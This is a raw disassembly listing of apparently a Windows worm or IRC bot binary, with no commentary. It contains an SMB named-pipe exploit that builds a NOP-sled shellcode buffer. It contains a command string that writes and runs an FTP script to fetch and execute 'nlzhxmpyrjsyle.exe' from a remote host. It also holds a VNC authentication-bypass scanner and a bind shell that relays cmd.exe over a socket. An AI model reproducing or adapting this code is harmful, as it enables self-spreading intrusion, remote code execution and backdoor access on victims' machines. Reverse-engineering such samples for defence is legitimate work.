lea eax, [ebp+Dest]
mov [ebp+var_C8], eax
lea eax, [ebp+Dst]
push ebx
push offset dword_4E5E3C
push offset dword_4E5E40
push eax
call sub_43AB96
jmp short loc_40E442
; ---------------------------------------------------------------------------
loc_40E43D: ; CODE XREF: sub_40E3C7+23j
mov esi, 2000h
loc_40E442: ; CODE XREF: sub_40E3C7+74j
push [ebp+Size]
lea eax, [ebp+var_40DC]
push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+var_40DC]
push ebx
push 40000000h
push 3
push ebx
push 3
push 0C0000000h
push eax
call ds:dword_4F53C0 ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_40E486
loc_40E47F: ; CODE XREF: sub_40E3C7+197j
; sub_40E3C7+36Dj ...
xor al, al
jmp loc_40E8CA
; ---------------------------------------------------------------------------
loc_40E486: ; CODE XREF: sub_40E3C7+B6j
push 48h ; Size
lea eax, [ebp+var_B8]
push ebx ; Val
push eax ; Dst
call _memset
push 10h
mov [ebp+var_B8], 5
pop eax
mov [ebp+var_B7], bl
push 1
mov [ebp+var_B4], eax
pop edi
mov [ebp+var_B6], 0Bh
push eax ; Size
lea eax, [ebp+var_98]
push offset dword_449154 ; Src
push eax ; Dst
mov [ebp+var_B5], 3
mov [ebp+var_B0], 48h
mov [ebp+var_AE], bx
mov [ebp+var_AC], ebx
mov [ebp+var_A8], 10B8h
mov [ebp+var_A6], 10B8h
mov [ebp+var_A4], ebx
mov [ebp+var_A0], edi
mov [ebp+var_9C], bx
mov [ebp+var_9A], 1
call _memcpy
push 10h ; Size
lea eax, [ebp+var_84]
push offset dword_449168 ; Src
push eax ; Dst
mov [ebp+var_88], 3
call _memcpy
add esp, 24h
lea eax, [ebp+var_BC]
mov [ebp+var_74], 2
push ebx
push eax
lea eax, [ebp+var_B8]
push 48h
push eax
push [ebp+var_4]
call ds:dword_4F53B4 ; WriteFile
test eax, eax
jnz short loc_40E563
loc_40E555: ; CODE XREF: sub_40E3C7+268j
push [ebp+var_4]
call ds:dword_4F533C ; CloseHandle
jmp loc_40E47F
; ---------------------------------------------------------------------------
loc_40E563: ; CODE XREF: sub_40E3C7+18Cj
lea eax, [ebp+var_14]
push ebx
push eax
lea eax, [ebp+var_60DC]
push esi
push eax
push [ebp+var_4]
call ds:dword_4F53BC ; ReadFile
push ebx ; Time
call _time
push eax ; Seed
call _srand
push 14h ; Size
lea eax, [ebp+Src]
push 41h ; Val
push eax ; Dst
call _memset
push 1Ch ; Size
lea eax, [ebp+var_30]
push 41h ; Val
push eax ; Dst
call _memset
add esp, 20h
call _rand
mov esi, [ebp+Memory]
mov [ebp+Src], eax
mov [ebp+var_64], edi
mov [ebp+var_68], ebx
lea esi, [esi+esi*4]
mov [ebp+var_6C], edi
shl esi, 2
mov [ebp+var_60], bx
cmp byte_4490E0[esi], bl
jz short loc_40E5DA
push 4
mov [ebp+var_24], edi
mov [ebp+var_28], ebx
mov [ebp+var_2C], edi
push offset dword_4E5E44
jmp short loc_40E5ED
; ---------------------------------------------------------------------------
loc_40E5DA: ; CODE XREF: sub_40E3C7+1FFj
push 2
mov [ebp+var_28], ebx
pop eax
push 4 ; Size
mov [ebp+var_24], eax
mov [ebp+var_2C], eax
push offset dword_44917C ; Src
loc_40E5ED: ; CODE XREF: sub_40E3C7+211j
lea eax, [ebp+var_20]
push eax ; Dst
call _memcpy
add esp, 0Ch
call _rand
mov edi, 0FAh
cdq
mov ecx, edi
idiv ecx
inc edx
mov [ebp+var_30], edx
call _rand
cdq
idiv edi
mov eax, dword_4490D4[esi]
mov [ebp+var_18], ebx
push eax ; Size
mov [ebp+Size], eax
inc edx
mov [ebp+var_1C], edx
call _malloc
mov edi, eax
pop ecx
cmp edi, ebx
jz loc_40E555
mov eax, [ebp+Size]
add eax, 0FFFFFFFEh
push eax ; Size
push 90h ; Val
push edi ; Dst
call _memset
mov eax, [ebp+Size]
push 2 ; Size
push ebx ; Val
lea eax, [edi+eax-2]
push eax ; Dst
call _memset
mov eax, dword_4490DC[esi]
push 7 ; Size
add eax, edi
push offset dword_4490C8 ; Src
push eax ; Dst
mov [ebp+Memory], eax
call _memcpy
mov eax, [ebp+Memory]
push 15Ch ; Size
add eax, 7
push offset dword_448F68 ; Src
push eax ; Dst
call _memcpy
mov eax, dword_4490D8[esi]
add esp, 30h
cmp byte_4490E0[esi], bl
mov [ebp+Memory], eax
jz short loc_40E6E6
push 4 ; Size
add eax, edi
push offset dword_4E5E34 ; Src
push eax ; Dst
call _memcpy
add [ebp+Memory], 0Ch
mov esi, offset dword_4490F8
mov eax, [ebp+Memory]
push 4 ; Size
add eax, edi
push esi ; Src
push eax ; Dst
call _memcpy
mov eax, [ebp+Memory]
push 4 ; Size
push esi ; Src
lea eax, [eax+edi+24h]
push eax ; Dst
mov [ebp+Memory], eax
call _memcpy
mov eax, [ebp+Memory]
push 4 ; Size
add eax, 0Ch
push esi ; Src
push eax ; Dst
call _memcpy
add esp, 30h
jmp short loc_40E70E
; ---------------------------------------------------------------------------
loc_40E6E6: ; CODE XREF: sub_40E3C7+2D0j
add eax, edi
mov [ebp+var_8], 10h
mov [ebp+Memory], eax
mov esi, offset dword_4490F8
loc_40E6F7: ; CODE XREF: sub_40E3C7+345j
push 4 ; Size
push esi ; Src
push [ebp+Memory] ; Dst
call _memcpy
add [ebp+Memory], 4
add esp, 0Ch
dec [ebp+var_8]
jnz short loc_40E6F7
loc_40E70E: ; CODE XREF: sub_40E3C7+31Dj
mov eax, [ebp+Size]
add eax, 42h
push eax ; Size
call _malloc
mov esi, eax
pop ecx
cmp esi, ebx
mov [ebp+var_8], esi
jnz short loc_40E739
push [ebp+var_4]
call ds:dword_4F533C ; CloseHandle
push edi ; Memory
call _free
pop ecx
jmp loc_40E47F
; ---------------------------------------------------------------------------
loc_40E739: ; CODE XREF: sub_40E3C7+35Bj
mov eax, [ebp+Size]
add eax, 42h
push eax ; Size
push ebx ; double
push esi ; Dst
call _memset
lea eax, [ebp+Src]
push 14h ; Size
push eax ; Src
push esi ; Dst
call _memcpy
mov eax, [ebp+Size]
mov dword ptr [ebp+var_10+4], ebx
mov dword ptr [ebp+var_10], eax
add esp, 10h
fild [ebp+var_10]
fmul ds:flt_43C488
fstp [esp+60F0h+var_60F0]
call _ceil
call __ftol
push [ebp+Size] ; Size
mov [esi+1Ch], eax
mov [esi+18h], ebx
mov eax, [esi+1Ch]
mov [esi+14h], eax
lea eax, [esi+20h]
push edi ; Src
push eax ; Dst
call _memcpy
mov eax, [ebp+Size]
add esp, 14h
add eax, 20h
test al, 3
mov [ebp+Memory], eax
jz short loc_40E7A6
loc_40E79E: ; CODE XREF: sub_40E3C7+3DAj
inc eax
test al, 3
jnz short loc_40E79E
mov [ebp+Memory], eax
loc_40E7A6: ; CODE XREF: sub_40E3C7+3D5j
lea ecx, [ebp+var_30]
push 1Ch ; Size
add eax, esi
push ecx ; Src
push eax ; Dst
call _memcpy
add [ebp+Memory], 1Ch
push edi ; Memory
call _free
push 18h ; Size
lea eax, [ebp+var_48]
push ebx ; Val
push eax ; Dst
call _memset
push 14h ; Size
lea eax, [ebp+var_5C]
push ebx ; Val
push eax ; Dst
mov [ebp+var_48], 5
mov [ebp+var_47], bl
mov [ebp+var_46], bl
mov [ebp+var_45], 3
mov [ebp+var_44], 10h
mov [ebp+var_3E], bx
mov [ebp+var_3C], ebx
mov [ebp+var_34], bx
mov [ebp+var_32], 1Fh
call _memset
add esp, 28h
push ebx
push ebx
push 1
push ebx
call ds:dword_4F53B8 ; CreateEventA
mov [ebp+var_4C], eax
mov byte ptr [ebp+Size+3], bl
mov dword ptr [ebp+var_10+4], ebx
loc_40E813: ; CODE XREF: sub_40E3C7+4D6j
cmp dword ptr [ebp+var_10+4], 2
jge loc_40E8A8
push 1 ; char
push 10B8h ; int
push [ebp+Memory] ; Memory
inc dword ptr [ebp+var_10+4]
push esi ; Src
lea esi, [ebp+var_48]
sub esp, 18h
push 6
pop ecx
mov edi, esp
push [ebp+var_4] ; int
rep movsd
call sub_40E2D9
add esp, 2Ch
test al, al
jz short loc_40E8A5
cmp [ebp+var_4C], ebx
jz short loc_40E897
lea eax, [ebp+var_5C]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_60DC]
push 2000h
push eax
push [ebp+var_4]
call ds:dword_4F53BC ; ReadFile
test eax, eax
jnz short loc_40E87E
call ds:dword_4F5360 ; RtlGetLastWin32Error
cmp eax, 3E5h
jnz loc_40E47F
loc_40E87E: ; CODE XREF: sub_40E3C7+4A4j
push 3E8h
push [ebp+var_4C]
call ds:dword_4F5374 ; WaitForSingleObject
cmp eax, 102h
jnz short loc_40E897
mov byte ptr [ebp+Size+3], 1
loc_40E897: ; CODE XREF: sub_40E3C7+483j
; sub_40E3C7+4CAj
cmp byte ptr [ebp+Size+3], bl
mov esi, [ebp+var_8]
jz loc_40E813
jmp short loc_40E8A8
; ---------------------------------------------------------------------------
loc_40E8A5: ; CODE XREF: sub_40E3C7+47Ej
mov esi, [ebp+var_8]
loc_40E8A8: ; CODE XREF: sub_40E3C7+450j
; sub_40E3C7+4DCj
push [ebp+var_4]
mov edi, ds:dword_4F533C
call edi ; CloseHandle
push esi ; Memory
call _free
cmp [ebp+var_4C], ebx
pop ecx
jz short loc_40E8C4
push [ebp+var_4C]
call edi ; CloseHandle
loc_40E8C4: ; CODE XREF: sub_40E3C7+4F6j
cmp byte ptr [ebp+Size+3], bl
setnz al
loc_40E8CA: ; CODE XREF: sub_40E3C7+BAj
pop edi
pop esi
pop ebx
leave
retn
sub_40E3C7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E8CF proc near ; CODE XREF: sub_40E9BD+29p
var_5A0 = byte ptr -5A0h
Str = byte ptr -1A0h
Dst = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+Dst], 2
push eax
call ds:dword_4F5528 ; inet_addr
push [ebp+arg_BC]
mov [ebp+var_C], eax
call ds:dword_4F552C ; htons
push esi
push 1
push 2
mov [ebp+var_E], ax
call ds:dword_4F553C ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_40E99D
lea eax, [ebp+Dst]
push 10h
push eax
push ebx
call ds:dword_4F5530 ; connect
cmp eax, 0FFFFFFFFh
jz short loc_40E99D
mov edi, 400h
push esi
mov esi, ds:dword_4F5534
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
mov eax, offset Str ; "nlzhxmpyrjsyle.exe"
push eax
push eax
push dword_4E2E18
push [ebp+arg_0]
call sub_40AF71
pop ecx
push eax
push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
lea eax, [ebp+Str]
push 190h ; Count
push eax ; Dest
call __snprintf
add esp, 1Ch
lea eax, [ebp+Str]
push 0
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
push ebx
call ds:dword_4F5540 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40E9A1
loc_40E99D: ; CODE XREF: sub_40E8CF+50j
; sub_40E8CF+62j
xor eax, eax
jmp short loc_40E9B8
; ---------------------------------------------------------------------------
loc_40E9A1: ; CODE XREF: sub_40E8CF+CCj
push 0
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
push ebx
call ds:dword_4F5538 ; closesocket
push 1
pop eax
loc_40E9B8: ; CODE XREF: sub_40E8CF+D0j
pop edi
pop esi
pop ebx
leave
retn
sub_40E8CF endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_40E9BD(char,char Size)
sub_40E9BD proc near ; DATA XREF: .data:004482A4o
; .data:004482E4o
arg_0 = byte ptr 4
Size = byte ptr 8
push ebx
push esi
push edi
xor ebx, ebx
loc_40E9C2: ; CODE XREF: sub_40E9BD+4Bj
lea eax, [esp+0Ch+Size]
push ebx ; Memory
push eax ; Size
call sub_40E3C7
pop ecx
test al, al
pop ecx
jz short loc_40E9F5
push 65h
lea esi, [esp+10h+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40E8CF
add esp, 0C0h
test eax, eax
jnz short loc_40EA0A
loc_40E9F5: ; CODE XREF: sub_40E9BD+14j
test ebx, ebx
jnz short loc_40EA04
push 7D0h
call ds:dword_4F534C ; Sleep
loc_40EA04: ; CODE XREF: sub_40E9BD+3Aj
inc ebx
cmp ebx, 2
jb short loc_40E9C2
loc_40EA0A: ; CODE XREF: sub_40E9BD+36j
push 1
pop eax
pop edi
pop esi
pop ebx
retn
sub_40E9BD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EA11 proc near ; CODE XREF: sub_40EB28+91p
var_5A0 = byte ptr -5A0h
Dest = byte ptr -1A0h
Dst = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+Dst], 2
push eax
call ds:dword_4F5528 ; inet_addr
push [ebp+arg_BC]
mov [ebp+var_C], eax
call ds:dword_4F552C ; htons
push esi
push 1
push 2
mov [ebp+var_E], ax
call ds:dword_4F553C ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_40EADF
lea eax, [ebp+Dst]
push 10h
push eax
push ebx
call ds:dword_4F5530 ; connect
cmp eax, 0FFFFFFFFh
jz short loc_40EADF
mov edi, 400h
push esi
mov esi, ds:dword_4F5534
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
mov eax, offset Str ; "nlzhxmpyrjsyle.exe"
push eax
push eax
push dword_4E2E18
push [ebp+arg_0]
call sub_40AF71
pop ecx
push eax
push offset aCmdCEchoOpen_1 ; "cmd /c echo open %s %d >> ii &echo user"...
lea eax, [ebp+Dest]
push 190h ; Count
push eax ; Dest
call __snprintf
add esp, 1Ch
lea eax, [ebp+Dest]
push 0
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Dest]
push eax
push ebx
call ds:dword_4F5540 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40EAE3
loc_40EADF: ; CODE XREF: sub_40EA11+50j
; sub_40EA11+62j
xor eax, eax
jmp short loc_40EAFA
; ---------------------------------------------------------------------------
loc_40EAE3: ; CODE XREF: sub_40EA11+CCj
push 0
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
push ebx
call ds:dword_4F5538 ; closesocket
push 1
pop eax
loc_40EAFA: ; CODE XREF: sub_40EA11+D0j
pop edi
pop esi
pop ebx
leave
retn
sub_40EA11 endp
; ---------------------------------------------------------------------------
push dword ptr [esp+4]
call ds:dword_4F5528 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short locret_40EB27
push dword ptr [esp+4]
call ds:dword_4F5550 ; gethostbyname
test eax, eax
jnz short loc_40EB20
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_40EB20: ; CODE XREF: .text:0040EB1Aj
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
locret_40EB27: ; CODE XREF: .text:0040EB0Cj
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EB28 proc near ; CODE XREF: sub_40C951+1EAp
; DATA XREF: .data:off_448224o
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
push ebp
mov ebp, esp
sub esp, 10h
push esi
lea eax, [ebp+arg_4]
push edi
push eax
mov [ebp+var_10], 2
call dword_4E3138 ; inet_addr
push [ebp+arg_A0]
mov [ebp+var_C], eax
call dword_4E30F8 ; htons
push 6
push 1
push 2
mov [ebp+var_E], ax
call ds:dword_4F553C ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40EB9A
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call ds:dword_4F5530 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40EB7B
push esi
jmp short loc_40EB94
; ---------------------------------------------------------------------------
loc_40EB7B: ; CODE XREF: sub_40EB28+4Ej
push 0
push 1213h
push offset dword_4491F8
push esi
call ds:dword_4F5540 ; send
cmp eax, 0FFFFFFFFh
push esi
jnz short loc_40EB9E
loc_40EB94: ; CODE XREF: sub_40EB28+51j
call ds:dword_4F5538 ; closesocket
loc_40EB9A: ; CODE XREF: sub_40EB28+3Cj
xor eax, eax
jmp short loc_40EBE0
; ---------------------------------------------------------------------------
loc_40EB9E: ; CODE XREF: sub_40EB28+6Aj
call ds:dword_4F5538 ; closesocket
push 216Bh
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40EA11
add esp, 0C0h
test eax, eax
jz short loc_40EBDD
mov eax, [ebp+arg_A8]
shl eax, 6
inc dword_448228[eax]
lea eax, dword_448228[eax]
loc_40EBDD: ; CODE XREF: sub_40EB28+9Ej
push 1
pop eax
loc_40EBE0: ; CODE XREF: sub_40EB28+74j
pop edi
pop esi
leave
retn
sub_40EB28 endp
; =============== S U B R O U T I N E =======================================
sub_40EBE4 proc near ; CODE XREF: sub_40EC5E+74p
; sub_40EC5E+D6p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_8]
xor esi, esi
loc_40EBEC: ; CODE XREF: sub_40EBE4+2Dj
test edi, edi
jle short loc_40EC17
mov eax, [esp+8+arg_4]
push 0
add eax, esi
push edi
push eax
push [esp+14h+arg_0]
call dword_4E3110 ; recv
test eax, eax
jz short loc_40EC13
cmp eax, 0FFFFFFFFh
jz short loc_40EC13
sub edi, eax
add esi, eax
jmp short loc_40EBEC
; ---------------------------------------------------------------------------
loc_40EC13: ; CODE XREF: sub_40EBE4+22j
; sub_40EBE4+27j
xor eax, eax
jmp short loc_40EC1A
; ---------------------------------------------------------------------------
loc_40EC17: ; CODE XREF: sub_40EBE4+Aj
push 1
pop eax
loc_40EC1A: ; CODE XREF: sub_40EBE4+31j
pop edi
pop esi
retn
sub_40EBE4 endp
; =============== S U B R O U T I N E =======================================
sub_40EC1D proc near ; CODE XREF: sub_40EC5E+C0p
; sub_40EC5E+EDp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_8]
test edi, edi
jz short loc_40EC5A
xor esi, esi
test edi, edi
jle short loc_40EC54
loc_40EC2D: ; CODE XREF: sub_40EC1D+35j
mov eax, edi
push 0
sub eax, esi
push eax
mov eax, [esp+10h+arg_4]
add eax, esi
push eax
push [esp+14h+arg_0]
call dword_4E3148 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40EC5A
test eax, eax
jz short loc_40EC5A
add esi, eax
cmp esi, edi
jl short loc_40EC2D
loc_40EC54: ; CODE XREF: sub_40EC1D+Ej
push 1
pop eax
loc_40EC57: ; CODE XREF: sub_40EC1D+3Fj
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_40EC5A: ; CODE XREF: sub_40EC1D+8j
; sub_40EC1D+2Bj ...
xor eax, eax
jmp short loc_40EC57
sub_40EC1D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40EC5E(int,char,int,int,int,char Str,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int)
sub_40EC5E proc near ; DATA XREF: .data:00448264o
Dest = byte ptr -24Ch
var_4C = word ptr -4Ch
var_4A = word ptr -4Ah
var_48 = dword ptr -48h
var_3C = byte ptr -3Ch
Src = byte ptr -38h
var_2C = byte ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = word ptr -10h
var_8 = dword ptr -8
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
Str = byte ptr 1Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
arg_B0 = dword ptr 0B8h
push ebp
mov ebp, esp
sub esp, 24Ch
push ebx
mov ax, word_44A480
push esi
push edi
push 0
push 1
push 2
mov [ebp+var_2], ax
pop edi
push edi
call dword_4E3178 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40EC8C
push eax
jmp short loc_40ECC0
; ---------------------------------------------------------------------------
loc_40EC8C: ; CODE XREF: sub_40EC5E+29j
lea eax, [ebp+arg_4]
push eax
call dword_4E3138 ; inet_addr
push [ebp+arg_A0]
mov [ebp+var_48], eax
mov [ebp+var_4C], di
call dword_4E30F8 ; htons
mov [ebp+var_4A], ax
lea eax, [ebp+var_4C]
push 10h
push eax
push esi
call dword_4E30A0 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40ECCB
push esi
loc_40ECC0: ; CODE XREF: sub_40EC5E+2Cj
call dword_4E3190 ; closesocket
jmp loc_40EEBC
; ---------------------------------------------------------------------------
loc_40ECCB: ; CODE XREF: sub_40EC5E+5Fj
lea eax, [ebp+Src]
push 0Ch
push eax
push esi
call sub_40EBE4
add esp, 0Ch
test eax, eax
jz loc_40EEB5
lea eax, [ebp+var_20]
and [ebp+var_2C], 0
push eax
lea eax, [ebp+var_28]
push eax
lea eax, [ebp+Src]
push offset aRfb03d_03d ; "RFB %03d.%03d\n"
push eax ; Src
call _sscanf
add esp, 10h
cmp eax, edi
jnz loc_40EEB5
cmp [ebp+var_28], 3
jz short loc_40ED17
cmp [ebp+var_20], 8
jnz loc_40EEB5
loc_40ED17: ; CODE XREF: sub_40EC5E+ADj
lea eax, [ebp+Src]
push 0Ch
push eax
push esi
call sub_40EC1D
add esp, 0Ch
test eax, eax
jz loc_40EEB5
lea eax, [ebp+var_3C]
push edi
push eax
push esi
call sub_40EBE4
add esp, 0Ch
test eax, eax
jz loc_40EEB5
lea eax, [ebp+var_2]
push 1
push eax
push esi
call sub_40EC1D
add esp, 0Ch
test eax, eax
jz loc_40EEB5
lea eax, [ebp+var_24]
push 4
push eax
push esi
call sub_40EBE4
add esp, 0Ch
test eax, eax
jz loc_40EEB5
mov eax, [ebp+var_24]
mov ebx, 0FF0000h
mov ecx, eax
mov edx, eax
and ecx, ebx
mov edi, 0FF00h
shr edx, 10h
or ecx, edx
mov edx, eax
shl edx, 10h
and eax, edi
or edx, eax
shr ecx, 8
shl edx, 8
or ecx, edx
mov [ebp+var_24], ecx
jnz loc_40EEB5
push 1
push offset dword_4E5E50
push esi
call sub_40EC1D
add esp, 0Ch
test eax, eax
jz loc_40EEB5
lea eax, [ebp+var_1C]
push 18h
push eax
push esi
call sub_40EBE4
add esp, 0Ch
test eax, eax
jz loc_40EEB5
xor eax, eax
mov ecx, [ebp+var_8]
mov al, byte ptr [ebp+var_1C+1]
mov edx, ecx
mov ah, byte ptr [ebp+var_1C]
mov [ebp+var_1C], ax
xor eax, eax
mov al, byte ptr [ebp+var_1A+1]
mov ah, byte ptr [ebp+var_1A]
mov [ebp+var_1A], ax
xor eax, eax
mov al, byte ptr [ebp+var_14+1]
mov ah, byte ptr [ebp+var_14]
mov [ebp+var_14], ax
xor eax, eax
mov al, byte ptr [ebp+var_12+1]
mov ah, byte ptr [ebp+var_12]
mov [ebp+var_12], ax
xor eax, eax
mov al, byte ptr [ebp+var_10+1]
mov ah, byte ptr [ebp+var_10]
mov [ebp+var_10], ax
mov eax, ecx
and eax, ebx
shr edx, 10h
or eax, edx
mov edx, ecx
shl edx, 10h
and ecx, edi
or edx, ecx
shr eax, 8
shl edx, 8
or eax, edx
mov [ebp+var_8], eax
add eax, 2
push eax ; unsigned int
call ??2@YAPAXI@Z ; operator new(uint)
push [ebp+var_8]
mov edi, eax
push edi
push esi
call sub_40EEC3
add esp, 10h
lea eax, [ebp+arg_4]
push eax
push edi
push [ebp+var_20]
lea eax, [ebp+Dest]
push [ebp+var_28]
push offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
push 200h ; Count
push eax ; Dest
call __snprintf
push 0 ; int
lea eax, [ebp+Dest]
push [ebp+arg_B0] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+arg_0] ; int
call sub_409D34
lea eax, [ebp+Dest]
push eax
call sub_415C3F
mov eax, [ebp+arg_A8]
add esp, 34h
shl eax, 6
inc dword_448228[eax]
push esi
lea eax, dword_448228[eax]
call ds:dword_4F5538 ; closesocket
push 1
pop eax
jmp short loc_40EEBE
; ---------------------------------------------------------------------------
loc_40EEB5: ; CODE XREF: sub_40EC5E+7Ej
; sub_40EC5E+A3j ...
push esi
call ds:dword_4F5538 ; closesocket
loc_40EEBC: ; CODE XREF: sub_40EC5E+68j
xor eax, eax
loc_40EEBE: ; CODE XREF: sub_40EC5E+255j
pop edi
pop esi
pop ebx
leave
retn
sub_40EC5E endp
; =============== S U B R O U T I N E =======================================
sub_40EEC3 proc near ; CODE XREF: sub_40EC5E+1E3p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_8]
push edi
mov edi, [esp+8+arg_4]
test esi, esi
jle short loc_40EEDF
push esi
push edi
push [esp+10h+arg_0]
call sub_40EBE4
add esp, 0Ch
loc_40EEDF: ; CODE XREF: sub_40EEC3+Cj
and byte ptr [edi+esi], 0
pop edi
pop esi
retn
sub_40EEC3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_40EEE6 proc near ; DATA XREF: sub_40EF74+15Bo
var_404 = byte ptr -404h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 404h
loc_40EEEF: ; CODE XREF: sub_40EEE6+25j
; sub_40EEE6+41j
push 0
lea eax, [ebp+var_404]
push 400h
push eax
push dword_4E5E64
call dword_4E3110 ; recv
test eax, eax
jle short loc_40EEEF
lea ecx, [ebp+var_4]
push 0
push ecx
push eax
lea eax, [ebp+var_404]
push eax
push dword_4E5E60
call ds:dword_4F53B4 ; WriteFile
jmp short loc_40EEEF
sub_40EEE6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_40EF29 proc near ; DATA XREF: sub_40EF74+142o
var_404 = byte ptr -404h
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 404h
loc_40EF32: ; CODE XREF: sub_40EF29+2Fj
; sub_40EF29+49j
lea eax, [ebp+var_4]
and [ebp+var_4], 0
push 0
push eax
lea eax, [ebp+var_404]
push 400h
push eax
push dword_4E5E54
call ds:dword_4F53BC ; ReadFile
cmp [ebp+var_4], 0
jle short loc_40EF32
push 0
lea eax, [ebp+var_404]
push [ebp+var_4]
push eax
push dword_4E5E64
call dword_4E3148 ; send
jmp short loc_40EF32
sub_40EF29 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_40EF74 proc near ; DATA XREF: sub_401CC7+2CFEo
var_11C = byte ptr -11Ch
var_98 = dword ptr -98h
var_7C = dword ptr -7Ch
var_50 = dword ptr -50h
var_4C = word ptr -4Ch
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = byte ptr -3Ch
Dst = word ptr -38h
var_36 = word ptr -36h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 28h
mov esi, eax
pop ecx
lea edi, [ebp+var_11C]
rep movsd
push 1
xor edi, edi
pop esi
mov [eax+98h], esi
push 10h ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+var_98]
call dword_4E30F8 ; htons
push 6
push esi
push 2
mov [ebp+var_36], ax
call dword_4E3178 ; socket
mov [ebp+arg_0], eax
lea eax, [ebp+Dst]
push 10h
push eax
push [ebp+arg_0]
call dword_4E3124 ; bind
push 5
push [ebp+arg_0]
call dword_4E3120 ; listen
mov ebx, ds:dword_4F53D0
mov esi, ds:dword_4F533C
loc_40EFF4: ; CODE XREF: sub_40EF74+1CBj
push edi
push edi
push [ebp+arg_0]
call dword_4E318C ; accept
mov dword_4E5E64, eax
lea eax, [ebp+var_C]
push edi
push eax
push offset dword_4E5E60
push offset dword_4E5E5C
mov [ebp+var_C], 0Ch
mov [ebp+var_4], 1
mov [ebp+var_8], edi
call ebx ; CreatePipe
lea eax, [ebp+var_C]
push edi
push eax
push offset dword_4E5E58
push offset dword_4E5E54
call ebx ; CreatePipe
push 44h ; Size
lea eax, [ebp+var_7C]
push edi ; Val
push eax ; Dst
call _memset
mov eax, dword_4E5E5C
